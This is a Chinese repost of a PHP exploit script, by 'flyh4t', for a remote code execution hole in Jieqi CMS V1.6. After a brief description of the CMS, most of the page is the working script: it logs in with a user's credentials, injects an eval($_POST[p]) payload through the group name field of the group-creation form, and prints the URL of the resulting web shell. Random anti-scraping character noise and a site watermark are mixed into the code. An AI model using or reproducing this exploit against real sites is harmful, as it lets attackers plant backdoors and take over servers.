Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
  Q' I: v% u2 q& V' f1 o2 _7 o1 S5 Y% F5 j 需要有一个能创建圈子的用户。

3 {# X6 X" p% M; N<?php

print_r('
9 q' D3 d1 k2 N1 {: D! R  m+---------------------------------------------------------------------------+
- a- K; G& }3 l+ R- P. W+ S6 m( e* KJieqi CMS V1.6 PHP Code Injection Exploit
5 q7 g1 Z( W0 E" z1 Iby flyh4t
5 w9 M# f9 m! i2 Dmail: phpsec at hotmail dot com
0 [7 Z1 Q+ y% y8 U: G+ _) z7 Mteam: http://www.wolvez.org
, l" `, V1 Z9 P4 q+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
3 O2 y0 {) A: a. Z, A$ y/ l- w*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
uasename:  a username who can create group
! \" j( h; w& W% m9 v' lExample:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
5 l9 t% ?" H6 W+---------------------------------------------------------------------------+
6 c& U" x- k; s'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
) G# w5 [" v1 X4 e( I0 |-----------------------------23281168279961
, f* u+ ]: J  I6 w5 `Content-Disposition: form-data; name="gcatid"

& N( N/ U( s+ k1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
$ w# {+ }$ |  p' B
: D( ^2 t, ?( N. B% P- d' [1
0 M; i9 ]) ^& Z: U: h-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
: s* o" k4 o' L
1
( u8 ?8 M* y. M-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

( M6 g( N) r* I3 s" j( G! Jpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;